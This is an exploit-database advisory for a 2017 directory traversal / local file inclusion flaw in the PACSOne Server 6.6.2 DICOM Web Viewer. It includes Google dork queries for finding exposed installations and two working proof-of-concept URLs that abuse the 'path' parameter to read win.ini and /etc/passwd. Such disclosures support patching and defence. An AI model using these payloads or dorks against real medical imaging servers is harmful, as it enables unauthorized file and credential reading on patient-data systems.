PACSOne Server 6.6.2 DICOM Web Viewer Directory Trasversal / Local File Inclusion

vendor:

PACSOne Server

by:

Carlos Avila

7.5

CVSS

HIGH

Directory Traversal / Local File Inclusion

CWE

Product Name: PACSOne Server

Affected Version From: 6.6.2

Affected Version To: 6.6.2

Patch Exists: YES

Related CWE: N/A

CPE: pacsone:pacsone_server

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 / Debian Linux

2017

PACSOne Server 6.6.2 DICOM Web Viewer Directory Trasversal / Local File Inclusion

DICOM Web Viewer is a component written in PHP that is part of PacsOne software. In version 6.6.2, it is vulnerable to local file inclusion. This allows an attacker to read arbitrary files that the web user has access to. Admin credentials aren't required. The 'path' parameter via GET is vulnerable.

Mitigation:

Application inputs must be validated correctly.

Source

Exploit-DB raw data:

# Exploit Title: PACSOne Server 6.6.2 DICOM Web Viewer Directory Trasversal / Local File Inclusion
# Date: 08/14/2017
# Software Link: http://www.pacsone.net/download.htm
# Google Dork: inurl:pacs/login.php	inurl:pacsone/login.php		inurl:pacsone filetype:php home		inurl:pacsone filetype:php login
# Version: PACSOne Server 6.6.2
# Category: webapps
# Tested on: Windows 7 / Debian Linux
# Exploit Author: Carlos Avila
# Contact: http://twitter.com/badboy_nt



1. Description
  
DICOM Web Viewer is a component written in PHP that is part of PacsOne software. In version 6.6.2, it is vulnerable to local file inclusion. This allows an attacker to read arbitrary files that the web user has access to. Admin credentials aren't required.
The 'path' parameter via GET is vulnerable.

Found: 08/14/2017
Vendor Reply & Fix: 09/28/2017

  
2. Proof of Concept


http://localhost/pacs/nocache.php?path=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

http://localhost/pacsone/nocache.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2f.%2fzpx%2f..%2fpasswd


3. Solution:

Application inputs must be validated correctly.